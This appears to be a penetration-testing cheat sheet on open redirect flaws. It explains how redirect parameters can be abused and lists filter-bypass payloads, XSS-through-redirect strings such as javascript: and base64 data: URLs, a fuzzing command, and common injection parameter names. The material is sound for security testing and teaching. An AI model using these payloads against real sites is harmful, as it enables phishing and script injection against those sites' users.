

Open URL Redirection

Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.

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Exploitation

Let's say there's a **well known** website - `https://famous-website.tld/`. And let's assume that there's a link like :

```
https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account
```

After signing up you get redirected to your account, this redirection is specified by the **redirectUrl** parameter in the URL.

What happens if we change the **famous-website.tld/account** to **evil-website.tld**?

```
https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account
```

By visiting this url, if we get redirected to **evil-website.tld** after the signup, we have an Open Redirect vulnerability. This can be abused by an attacker to display a phishing page asking you to enter your credentials.

HTTP Redirection Status Code - 3xx

- [300 Multiple Choices](#)
- [301 Moved Permanently](#)
- [302 Found](#)
- [303 See Other](#)
- [304 Not Modified](#)
- [305 Use Proxy](#)
- [307 Temporary Redirect](#)
- [308 Permanent Redirect](#)

Fuzzing

Replace `www.whitelisteddomain.tld` from `Open-Redirect-payloads.txt` with a specific white listed domain in your test case

To do this simply modify the `WHITELISTEDDOMAIN` with value `www.test.com` to your test case URL.

```
WHITELISTEDDOMAIN="www.test.com" && sed  
's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt >  
Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" |  
awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-  
"$WHITELISTEDDOMAIN".txt
```

Filter Bypass

Using a whitelisted domain or keyword

```
www.whitelisted.com.evil.com redirect to evil.com
```

Using CRLF to bypass "javascript" blacklisted keyword

```
java%0d%0ascript%0d%0a:alert(0)
```

Using "/" & "////" to bypass "http" blacklisted keyword

```
//google.com  
////google.com
```

Using "https:" to bypass "/" blacklisted keyword

```
https:google.com
```

Using "/" to bypass "/" blacklisted keyword (Browsers see // as //)

```
\\google.com/  
/\google.com/
```

Using "%E3%80%82" to bypass "." blacklisted character

```
/?redir=google. com  
//google%E3%80%82com
```

Using null byte "%00" to bypass blacklist filter

```
//google%00.com
```

Using parameter pollution

```
?next=whitelisted.com&next=google.com
```

Using "@" character, browser will redirect to anything after the "@"

```
http://www.theirsite.com@yoursite.com/
```

Creating folder as their domain

```
http://www.yoursite.com/http://www.theirsite.com/  
http://www.yoursite.com/folder/www.folder.com
```

Using "?" character, browser will translate it to "/"

```
http://www.yoursite.com?http://www.theirsite.com/  
http://www.yoursite.com?folder/www.folder.com
```

Host/Split Unicode Normalization

```
https://evil.c%.example.com . ---> https://evil.ca/c.example.com  
http://a.com/X.b.com
```

XSS from Open URL - If it's in a JS variable

```
";alert(0);//
```

XSS from data:// wrapper

```
http://www.example.com/redirect.php?  
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
```

XSS from javascript:// wrapper

```
http://www.example.com/redirect.php?url=javascript:prompt(1)
```

Common injection parameters

```
/{payload}  
?next={payload}  
?url={payload}  
?target={payload}  
?rurl={payload}  
?dest={payload}  
?destination={payload}  
?redir={payload}  
?redirect_uri={payload}  
?redirect_url={payload}  
?redirect={payload}  
/redirect/{payload}  
/cgi-bin/redirect.cgi?{payload}  
/out/{payload}  
/out?{payload}  
?view={payload}  
/login?to={payload}  
?image_url={payload}  
?go={payload}  
?return={payload}  
?returnTo={payload}  
?return_to={payload}  
?checkout_url={payload}  
?continue={payload}  
?return_path={payload}
```

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